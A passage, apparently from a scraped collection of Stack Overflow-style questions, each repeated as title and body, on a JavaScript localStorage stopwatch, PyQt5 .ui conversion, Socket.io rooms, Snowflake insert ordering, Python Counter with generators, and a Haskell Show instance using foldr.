            <button class="start">Start</button>
            <button class="pause">Pause</button>
            <button class="restart">Reset</button>
            <button class="continue">Continue</button>
        </div>
    </div>
</code>```

How do I update the screen when I clicked start btn and continue after loading page without running from the start

zero

Body:
I already save in local storage all of the values hours, minutes, seconds and milliseconds.

After the page loading, It's already got the value from local storage and it's perfectly display on the screen without any error but the main problem is that when I clicked start btn and continue btn , the counting of stop watch start from the beginning whicn mean it all starts from zero again.

My main purpose is after saving in local storage when I click start or continue btn , I want it to get and run from the value that is already stored in local storage. I am stuck for like 2 hours for this.

Javascript Code

let stopWatch = document.querySelector(".stop-watch"),
    startBtn = document.querySelector('.start'),
    pauseBtn = document.querySelector(".pause"),
    restartBtn = document.querySelector(".restart"),
    continueBtn = document.querySelector(".continue");

let [hours, mins, seconds, milliseconds] = [0, 0, 0, 0];
let displayWatch;

// reusable funtion to run watch
function startTime () {
// 10 ms === 0.1seconds
    milliseconds += 10;

    if(milliseconds === 1000){
        milliseconds = 0;
        seconds += 1;
    }

    if(seconds === 60){
        seconds = 0;
        mins += 1;
    }

    if(mins === 60){
        mins = 0;
        hours += 1;
    }

    if(hours === 60) {
        hours = 0;
    }

    let h = hours < 10 ? "0" + hours : hours;
    let m = mins < 10 ? "0" + mins : mins;
    let s = seconds < 10 ? "0" + seconds : seconds;
    let ms = milliseconds < 100 ? "0" + milliseconds : milliseconds;

    displayWatch = `${h} : ${m} : ${s} : ${ms}`;

    localStorage.setItem("saveWatch", displayWatch);
    stopWatch.textContent =  displayWatch || localStorage.getItem("saveWatch");
}
// keep track of setInterval set in global
let intervalId;
// start the watch
startBtn.addEventListener("click", () => {
    clearInterval(intervalId)
    intervalId = setInterval(startTime, 10);
})

pauseBtn.addEventListener("click", () => {
    clearInterval(intervalId);
})

restartBtn.addEventListener("click", ()=>{
    [hours, mins, seconds, milliseconds] = [0, 0, 0, 0];
    stopWatch.textContent =  `${hours}0 : ${mins}0 : ${seconds}0 : ${milliseconds}00`;
    localStorage.clear(displayWatch);
})
continueBtn.addEventListener("click", ()=> {
    //clearInterval first if not starttime will run double
    clearInterval(intervalId);
    intervalId = setInterval(startTime, 10);
})

window.addEventListener("load", () => {
    const saveWatch = localStorage.getItem("saveWatch");

    if( saveWatch){
        stopWatch.textContent = saveWatch;
    }

HTML Code

00 : 00 : 00 : 000

            <button class="start">Start</button>
            <button class="pause">Pause</button>
            <button class="restart">Reset</button>
            <button class="continue">Continue</button>

How do I update the screen when I clicked start btn and continue after loading page without running from the start

zero


问:
PyQt5 ui file to py and setup
I am new to PyQt5 and recently used pyuic5 to convert a .ui file to a .py file to get everything into one file. But I had a problem loading the classes within the file I converted. Is it possible to instead of using the loadui function to use a different method within the same file. Here is the code to help you understand what happened with me.</p>
```<code>import sys
from PyQt5.uic import loadUi
from PyQt5 import QtWidgets
from PyQt5.QtWidgets import QDialog, QApplication, QWidget, QStackedWidget

from PyQt5 import QtCore, QtGui, QtWidgets

class Ui_Dialog(object):
    def setupUi(self, Dialog):
        Dialog.setObjectName("Dialog")
        Dialog.resize(1153, 585)
        self.widget = QtWidgets.QWidget(Dialog)
        self.widget.setGeometry(QtCore.QRect(-10, -10, 1221, 600))
        self.widget.setStyleSheet("QWidget#widget{\n"
"background:qlineargradient(spread:pad, x1:0, y1:0, x2:1, y2:1, stop:0 rgba(209, 107, 133, 255), stop:0.861765 rgba(255, 255, 255, 255));}")
        self.widget.setObjectName("widget")
        self.label = QtWidgets.QLabel(self.widget)
        self.label.setGeometry(QtCore.QRect(501, 80, 231, 51))
        self.label.setStyleSheet("font: 36pt \"MS Shell Dlg 2\";color:rgb(255, 255, 255);")
        self.label.setObjectName("label")
        self.label_2 = QtWidgets.QLabel(self.widget)
        self.label_2.setGeometry(QtCore.QRect(491, 110, 241, 71))
        self.label_2.setStyleSheet("font: 12pt \"MS Shell Dlg 2\";color:rgb(255, 255, 255);")
        self.label_2.setObjectName("label_2")
        self.login = QtWidgets.QPushButton(self.widget)
        self.login.setGeometry(QtCore.QRect(483, 262, 241, 41))
        self.login.setStyleSheet("background-color: rgb(170, 255, 255);\n"
"font: 14pt \"MS Shell Dlg 2\";\n"
"border-radius:20px;")
        self.login.setObjectName("login")
        self.newaccount = QtWidgets.QPushButton(self.widget)
        self.newaccount.setGeometry(QtCore.QRect(483, 320, 241, 41))
        self.newaccount.setStyleSheet("background-color: rgb(170, 255, 255);\n"
"font: 14pt \"MS Shell Dlg 2\";\n"
"border-radius:20px;")
        self.newaccount.setObjectName("newaccount")

        self.retranslateUi(Dialog)
        QtCore.QMetaObject.connectSlotsByName(Dialog)

    def retranslateUi(self, Dialog):
        _translate = QtCore.QCoreApplication.translate
        Dialog.setWindowTitle(_translate("Dialog", "Dialog"))
        self.label.setText(_translate("Dialog", "Welcome"))
        self.label_2.setText(_translate("Dialog", "Sign in or create a new account"))
        self.login.setText(_translate("Dialog", "Log In"))
        self.newaccount.setText(_translate("Dialog", "Create a new account"))

#above is the ui file I converted to python. and below is what I wrote before.

class WelcomeScreen(QDialog):
    def __init__(self):
        super(WelcomeScreen, self).__init__()
        loadUi("C:\\Users\\Toshiba\\Documents\\PyQt5\\welcomescreen.ui", self)
        self.login.clicked.connect(self.gotologin)

    def gotologin(self):
        login = LoginScreen()
        widget.addWidget(login)
        widget.setCurrentIndex(widget.currentIndex()+1)

class LoginScreen(QDialog):
    def __init__(self):
        super(LoginScreen, self).__init__()
        loadUi("C:\\Users\\Toshiba\\Documents\\PyQt5\\login.ui", self)
        self.password.setEchoMode(QtWidgets.QLineEdit.Password)
        self.back.clicked.connect(self.gotowelcome)
        self.login.clicked.connect(self.loginfunction)

    def gotowelcome(self):
        back = WelcomeScreen()
        widget.addWidget(back)
        widget.setCurrentIndex(widget.currentIndex()+1)

    def loginfunction(self):
        username = self.username.text()
        password = self.password.text()
        names = ["someone",
                 "someguy"]
        passes = ["1234",
                  "4321"]

        if len(username)==0 or len(password)==0:
            self.error.setText("Please input all fields.")

        else:
            if username == names.__getitem__(0) and password == passes.__getitem__(0):
                self.success.setText("Success!")
                self.error.setText("")
            elif username == names.__getitem__(1) and password == passes.__getitem__(1):
                self.success.setText("Success!")
                self.error.setText("")
            else:
                self.error.setText("Invalid Username Or Password")
                self.success.setText("")

#main
app  = QApplication(sys.argv)
welcome = WelcomeScreen()
widget = QStackedWidget()
widget.addWidget(welcome)
widget.setFixedHeight(600)
widget.setFixedWidth(1200)

widget.show()
try:
    sys.exit(app.exec_())
except:
    print("Exiting")

</code>```

Title: PyQt5 ui file to py and setup

Body:
I am new to PyQt5 and recently used pyuic5 to convert a .ui file to a .py file to get everything into one file. But I had a problem loading the classes within the file I converted. Is it possible to instead of using the loadui function to use a different method within the same file. Here is the code to help you understand what happened with me.

import sys
from PyQt5.uic import loadUi
from PyQt5 import QtWidgets
from PyQt5.QtWidgets import QDialog, QApplication, QWidget, QStackedWidget

from PyQt5 import QtCore, QtGui, QtWidgets

class Ui_Dialog(object):
    def setupUi(self, Dialog):
        Dialog.setObjectName("Dialog")
        Dialog.resize(1153, 585)
        self.widget = QtWidgets.QWidget(Dialog)
        self.widget.setGeometry(QtCore.QRect(-10, -10, 1221, 600))
        self.widget.setStyleSheet("QWidget#widget{\n"
"background:qlineargradient(spread:pad, x1:0, y1:0, x2:1, y2:1, stop:0 rgba(209, 107, 133, 255), stop:0.861765 rgba(255, 255, 255, 255));}")
        self.widget.setObjectName("widget")
        self.label = QtWidgets.QLabel(self.widget)
        self.label.setGeometry(QtCore.QRect(501, 80, 231, 51))
        self.label.setStyleSheet("font: 36pt \"MS Shell Dlg 2\";color:rgb(255, 255, 255);")
        self.label.setObjectName("label")
        self.label_2 = QtWidgets.QLabel(self.widget)
        self.label_2.setGeometry(QtCore.QRect(491, 110, 241, 71))
        self.label_2.setStyleSheet("font: 12pt \"MS Shell Dlg 2\";color:rgb(255, 255, 255);")
        self.label_2.setObjectName("label_2")
        self.login = QtWidgets.QPushButton(self.widget)
        self.login.setGeometry(QtCore.QRect(483, 262, 241, 41))
        self.login.setStyleSheet("background-color: rgb(170, 255, 255);\n"
"font: 14pt \"MS Shell Dlg 2\";\n"
"border-radius:20px;")
        self.login.setObjectName("login")
        self.newaccount = QtWidgets.QPushButton(self.widget)
        self.newaccount.setGeometry(QtCore.QRect(483, 320, 241, 41))
        self.newaccount.setStyleSheet("background-color: rgb(170, 255, 255);\n"
"font: 14pt \"MS Shell Dlg 2\";\n"
"border-radius:20px;")
        self.newaccount.setObjectName("newaccount")

        self.retranslateUi(Dialog)
        QtCore.QMetaObject.connectSlotsByName(Dialog)

    def retranslateUi(self, Dialog):
        _translate = QtCore.QCoreApplication.translate
        Dialog.setWindowTitle(_translate("Dialog", "Dialog"))
        self.label.setText(_translate("Dialog", "Welcome"))
        self.label_2.setText(_translate("Dialog", "Sign in or create a new account"))
        self.login.setText(_translate("Dialog", "Log In"))
        self.newaccount.setText(_translate("Dialog", "Create a new account"))

#above is the ui file I converted to python. and below is what I wrote before.

class WelcomeScreen(QDialog):
    def __init__(self):
        super(WelcomeScreen, self).__init__()
        loadUi("C:\\Users\\Toshiba\\Documents\\PyQt5\\welcomescreen.ui", self)
        self.login.clicked.connect(self.gotologin)

    def gotologin(self):
        login = LoginScreen()
        widget.addWidget(login)
        widget.setCurrentIndex(widget.currentIndex()+1)

class LoginScreen(QDialog):
    def __init__(self):
        super(LoginScreen, self).__init__()
        loadUi("C:\\Users\\Toshiba\\Documents\\PyQt5\\login.ui", self)
        self.password.setEchoMode(QtWidgets.QLineEdit.Password)
        self.back.clicked.connect(self.gotowelcome)
        self.login.clicked.connect(self.loginfunction)

    def gotowelcome(self):
        back = WelcomeScreen()
        widget.addWidget(back)
        widget.setCurrentIndex(widget.currentIndex()+1)

    def loginfunction(self):
        username = self.username.text()
        password = self.password.text()
        names = ["someone",
                 "someguy"]
        passes = ["1234",
                  "4321"]

        if len(username)==0 or len(password)==0:
            self.error.setText("Please input all fields.")

        else:
            if username == names.__getitem__(0) and password == passes.__getitem__(0):
                self.success.setText("Success!")
                self.error.setText("")
            elif username == names.__getitem__(1) and password == passes.__getitem__(1):
                self.success.setText("Success!")
                self.error.setText("")
            else:
                self.error.setText("Invalid Username Or Password")
                self.success.setText("")

#main
app  = QApplication(sys.argv)
welcome = WelcomeScreen()
widget = QStackedWidget()
widget.addWidget(welcome)
widget.setFixedHeight(600)
widget.setFixedWidth(1200)

widget.show()
try:
    sys.exit(app.exec_())
except:
    print("Exiting")


问:
Socket.io - Subscribe a different socket to my room
I'm creating an interactive app in node.js with socket.io.

One of the features is that, after joining a game, the user can request to join a team within that game. User clicks a button, which causes their socket to emit a 'request-join' event to the server, the team captain receives a 'join-request' event. If they approve it, they send a 'request-approved' event back to the server. All of that is working for now, and this is where it gets interesting.

On the server side, I have a class:

```<code>const { v4: uuidv4 } = require('uuid');

module.exports = class User {
    constructor(name, socket) {
        this.name = name;
        this.id = uuidv4();
        this.socket = socket;
        this.connected = true;
        this.lastDisconnect = undefined;
    }
};
</code>```

I also have this, on the server side:

```<code>const User = require('./managers/user'); //imports the class above
let users = [];
io.on('connection',socket=> {
    let myUser = new User('',socket); //there's some other code elsewhere where the user sets their name
    users.push(myUser);
    ...
    socket.on('request-approved',data=> {
        const otherUser = findUser(data.id); //this finds the user we just approved
        otherUser.socket.join(data.roomid); //this does not work
    }
    ...
}
</code>```

The way that I've gotten this functionality to work is that I can emit a 'request-accepted' event to the user that just got accepted onto a team, giving that user the roomid to join, and then that user can, in turn, emit a 'join-team-by-id' event back to the server along with the roomid. At that point, the user is in the correct room, but it also feels like I've taken more steps than is necessary. That said, it appears that I cannot, essentially, have a socket make a different socket join a room. I guess this makes sense from a security standpoint. Is this, in fact, the case? Or is there a way I can access a different socket (other than the one in the parameter) within the callback on io.on('connection')?

Body:
I'm creating an interactive app in node.js with socket.io.

One of the features is that, after joining a game, the user can request to join a team within that game. User clicks a button, which causes their socket to emit a 'request-join' event to the server, the team captain receives a 'join-request' event. If they approve it, they send a 'request-approved' event back to the server. All of that is working for now, and this is where it gets interesting.

On the server side, I have a class:

const { v4: uuidv4 } = require('uuid');

module.exports = class User {
    constructor(name, socket) {
        this.name = name;
        this.id = uuidv4();
        this.socket = socket;
        this.connected = true;
        this.lastDisconnect = undefined;
    }
};

I also have this, on the server side:

const User = require('./managers/user'); //imports the class above
let users = [];
io.on('connection',socket=> {
    let myUser = new User('',socket); //there's some other code elsewhere where the user sets their name
    users.push(myUser);
    ...
    socket.on('request-approved',data=> {
        const otherUser = findUser(data.id); //this finds the user we just approved
        otherUser.socket.join(data.roomid); //this does not work
    }
    ...
}

The way that I've gotten this functionality to work is that I can emit a 'request-accepted' event to the user that just got accepted onto a team, giving that user the roomid to join, and then that user can, in turn, emit a 'join-team-by-id' event back to the server along with the roomid. At that point, the user is in the correct room, but it also feels like I've taken more steps than is necessary. That said, it appears that I cannot, essentially, have a socket make a different socket join a room. I guess this makes sense from a security standpoint. Is this, in fact, the case? Or is there a way I can access a different socket (other than the one in the parameter) within the callback on io.on('connection')?


问:
Does snowflake try to retain the order of data in insert (including multi insert) and merge operations?
Data arrives as text (see TEMPLATE_1), it is processed into a table with with semi structured columns (see TEMPLATE_2). Templates

As the main source of data does not have any DML other than insert, I try to  maintain a good natural clustering behavior.

I collect the text in a table (of TEMPLATE_1) and I have a stream on that table, from which I use to process the new entries and move them further the data pipeline:

I process the rows for that day and using a multi table insert, I put it in a stage table STAGE_TABLE (see TEMPLATE_2). The process is a couple of steps long. First, a regex cleanup, a regex replace, then a string split to get the final fields.

If data fail the processing and have null fields, they go into FAILED_ENTRIES (see TEMPLATE_1)

The last step of processing is a sort on EVENT_DATETIME::DATE, COL_TYPE, and COL_JSON:ID.

Finally I MERGE it in the main table making sure that the whole record does not match (excluding row_created_at of course):

Will the sorting of data make it into order it exists in partitions,
or do I have to sort during merge,
or is there no way to guarantee this order.

```<code>CREATE TEMPLATE_1(
    RAW_DATA VARCHAR(16777216)
);

CREATE TEMPLATE_2 (
    EVENT_DATETIME TIMESTAMP_LTZ(9),
    SOURCE_ID VARCHAR(16777216),
    COL_TYPE VARCHAR(16777216),
    COL_JSON VARIANT,
    ROW_CREATED_AT TIMESTAMP_LTZ(9),
);
</code>```

Body:
Data arrives as text (see TEMPLATE_1), it is processed into a table with with semi structured columns (see TEMPLATE_2). Templates

As the main source of data does not have any DML other than insert, I try to  maintain a good natural clustering behavior.

I collect the text in a table (of TEMPLATE_1) and I have a stream on that table, from which I use to process the new entries and move them further the data pipeline:

I process the rows for that day and using a multi table insert, I put it in a stage table STAGE_TABLE (see TEMPLATE_2). The process is a couple of steps long. First, a regex cleanup, a regex replace, then a string split to get the final fields.

If data fail the processing and have null fields, they go into FAILED_ENTRIES (see TEMPLATE_1)

The last step of processing is a sort on EVENT_DATETIME::DATE, COL_TYPE, and COL_JSON:ID.

Finally I MERGE it in the main table making sure that the whole record does not match (excluding row_created_at of course):

Will the sorting of data make it into order it exists in partitions,
or do I have to sort during merge,
or is there no way to guarantee this order.

CREATE TEMPLATE_1(
    RAW_DATA VARCHAR(16777216)
);

CREATE TEMPLATE_2 (
    EVENT_DATETIME TIMESTAMP_LTZ(9),
    SOURCE_ID VARCHAR(16777216),
    COL_TYPE VARCHAR(16777216),
    COL_JSON VARIANT,
    ROW_CREATED_AT TIMESTAMP_LTZ(9),
);


问:
How to pass multiple arguments when using generator comprehension?
This is a beginner question, however, I can't seem to figure it out on my own.
Can somebody please show me how to pass multiple arguments when writing a generator comprehension?

I would like to count ALL elements inside ALL tuple objects

This does half the job:

```<code>from collections import Counter

tup_list = [(0, 1), (0, 2), (3, 4), (3, 5), (4, 5)]

elements = Counter(x[0] for x in tup_list)

print(elements)
</code>```

returns

```<code>Counter({0: 2, 3: 2, 4: 1})
</code>```

However, the desired result would be:

```<code>Counter({0: 2, 3: 2, 4: 2, 5: 2, 1: 1, 2: 1})
</code>```

I could achieve this by iterating through the list twice by elements = Counter(x[0] for x in tup_list) + Counter(x[1] for x in tup_list), but that does not seem very practical.

I tried something like elements = Counter(x[0], y[1] for x, y in tup_list), but that is incorrect syntax.

What is the correct way to write the expression with multiple arguments, please?

Body:
This is a beginner question, however, I can't seem to figure it out on my own.
Can somebody please show me how to pass multiple arguments when writing a generator comprehension?

I would like to count ALL elements inside ALL tuple objects

This does half the job:

from collections import Counter

tup_list = [(0, 1), (0, 2), (3, 4), (3, 5), (4, 5)]

elements = Counter(x[0] for x in tup_list)

print(elements)

returns

Counter({0: 2, 3: 2, 4: 1})

However, the desired result would be:

Counter({0: 2, 3: 2, 4: 2, 5: 2, 1: 1, 2: 1})

I could achieve this by iterating through the list twice by elements = Counter(x[0] for x in tup_list) + Counter(x[1] for x in tup_list), but that does not seem very practical.

I tried something like elements = Counter(x[0], y[1] for x, y in tup_list), but that is incorrect syntax.

What is the correct way to write the expression with multiple arguments, please?


问:
Haskell: own Set data type instance of Show doesn't work
I have implemented the data type SetList to have a distinct set.

this is my code:

```<code>data SetList a = Set [a]

empty = Set []

member x (Set xs) = x `elem` xs

insert x a@(Set xs)
  | member x a = a
  | otherwise = Set (x : xs)

remove x a@(Set xs) = case span (/= x) xs of
  (_, []) -> a
  (first, _ : last) -> Set $ first ++ last

instance Show a => Show (SetList a) where
 show (Set xs) = "{" ++ foldr func "}" xs
  where
   func x y  = show x ++ ", " ++ y
</code>```

I have to write an instance of Show using a version of fold, but i have struggles with that.
The last section is my approach, but it doesn't really work.

This is what i get and what it should look like:
ghci> tests *** show1: ERROR; expected '{1, 2, 3, 4, 5}', but found '{1, 2, 3, 4, 5, }'

The problem is obviously the ',' at the back. I managed to do it without fold, but the exercise states I have to use a version of fold

Body:
I have implemented the data type SetList to have a distinct set.

this is my code:

data SetList a = Set [a]

empty = Set []

member x (Set xs) = x `elem` xs

insert x a@(Set xs)
  | member x a = a
  | otherwise = Set (x : xs)

remove x a@(Set xs) = case span (/= x) xs of
  (_, []) -> a
  (first, _ : last) -> Set $ first ++ last

instance Show a => Show (SetList a) where
 show (Set xs) = "{" ++ foldr func "}" xs
  where
   func x y  = show x ++ ", " ++ y

I have to write an instance of Show using a version of fold, but i have struggles with that.
The last section is my approach, but it doesn't really work.

This is what i get and what it should look like:
ghci> tests *** show1: ERROR; expected '{1, 2, 3, 4, 5}', but found '{1, 2, 3, 4, 5, }'

The problem is obviously the ',' at the back. I managed to do it without fold, but the exercise states I have to use a version of fold